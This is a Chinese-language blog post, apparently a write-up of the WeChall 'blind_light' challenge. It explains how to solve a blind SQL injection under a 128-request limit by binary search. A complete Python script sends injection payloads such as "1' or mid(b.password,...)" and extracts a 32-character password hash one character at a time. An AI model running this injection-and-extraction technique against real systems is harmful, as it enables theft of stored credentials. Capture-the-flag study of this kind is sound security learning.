這兩天做這個Wechall的盲注,本來不想發Wechall的題解,但是這個題拖了我兩天時間,發出來紀念下…………
就是個簡單的盲注,正誤通過頁面有無關鍵字確定。但是有請求次數限制,128次。
需要我猜的密碼,長度是32,每一位組成元素有16種可能。也就是說,如果順序查找,按算法復雜度O(n)算,一位最多可能跑16次,遠超128次限制。所以考慮用二分法來猜,二分法算法復雜度O(logn),剛好,每一位猜4次一定能猜出來,總共128次。
然后,因為主要限制是比較次數,所以猜一個字符時,只比較一次,即是否大於等於。
解題腳本如下:
1 import requests 2 import string 3 4 url = "http://www.wechall.net/challenge/blind_light/index.php" 5 cookies = {'WC': 'XXXXXX'} 6 success_flag = "Welcome back, user. You would now be logged in" 7 count = 0 8 proxy = { 9 'http': 'socks5://127.0.0.1:1080', 10 'https': 'socks5://127.0.0.1:1080' 11 } 12 bit_list = list('0123456789ABCDEF') 13 ac_dict = dict() 14 15 16 def init_ac_dict(): 17 for i, bit in enumerate(bit_list): 18 ac_dict[i] = 0 19 20 21 def debug(msg): 22 if debug_mode: 23 print "[*]", msg 24 25 26 def getdata_for_onebit(position, payload): 27 ''' 28 payload like: 1' or mid(length(b.password),{position},1)>=char({ascii})# 29 ''' 30 start_bit = 0 31 end_bit = len(bit_list) - 1 32 33 while end_bit >= start_bit: 34 mid = start_bit + int(round((float(end_bit)-float(start_bit))/2)) 35 debug("start_bit: {}, end_bit: {}, mid: {}".format( 36 start_bit, end_bit, mid)) 37 38 now_payload = payload.format(position=position, ascii=bit_list[mid]) 39 debug("Sending Payload: \""+now_payload+'"') 40 while True: 41 try: 42 rq = requests.post(url, data={ 43 'injection': now_payload, 'inject': 'inject'}, cookies=cookies, timeout=None, proxies=proxy) 44 except Exception as e: 45 raise e 46 else: 47 break 48 if success_flag in rq.content: 49 debug("Last Payload Success") 50 if end_bit == mid: 51 start_bit = end_bit 52 break 53 else: 54 start_bit = mid 55 else: 56 debug("Last Payload Error") 57 if end_bit == mid: 58 break 59 else: 60 end_bit = mid - 1 61 debug(bit_list[start_bit]) 62 return bit_list[start_bit] 63 64 65 def get_password_length(): 66 payload = "1' or mid(length(b.password),{position},1)>='{ascii}'#" 67 bit_position = 1 68 result = "" 69 while bit_position <= 2: 70 debug("Getting {}th bit".format(bit_position)) 71 temp = getdata_for_onebit(bit_position, payload) 72 if temp is None: 73 break 74 else: 75 result += temp 76 bit_position += 1 77 return result 78 79 80 def get_password(length): 81 payload = "1' or mid(b.password,{position},1)>='{ascii}'#" 82 bit_position = 1 83 result = "" 84 while bit_position <= length: 85 debug("Getting {}th bit".format(bit_position)) 86 temp = getdata_for_onebit(bit_position, payload) 87 if temp is None: 88 break 89 else: 90 result += temp 91 bit_position += 1 92 return result 93 94 if __name__ == '__main__': 95 debug_mode = True 96 while True: 97 password = get_password(32) 98 rq = requests.post(url, data={ 99 'thehash': password, 'mybutton': 'Enter'}, cookies=cookies, timeout=None, proxies=proxy) 100 if 'We are sorry but it took you' in rq.content or "Your answer is wrong" in rq.content: 101 print "[*] Not PASS", '.'*8, password 102 print rq.content 103 exit(998) 104 rq = requests.get( 105 url+"?reset=me", cookies=cookies, timeout=None, proxies=proxy) 106 else: 107 print "[!] PASS", '.'*8, password 108 break
哎,其實主要是二分法老是寫錯。最開始我用的不是>=而是>,這樣平均會多一次請求。
如果用>判斷,要找的位置會大於等於左側,小於等於右側,所以最后可能需要多一次判斷,看是左側值還是右側值。
但是用>=判斷,要找的位置會大於等於左側,小於右側,少了一次判斷。
哎,沒想到連二分法都不會寫了……發博客警示下自己……
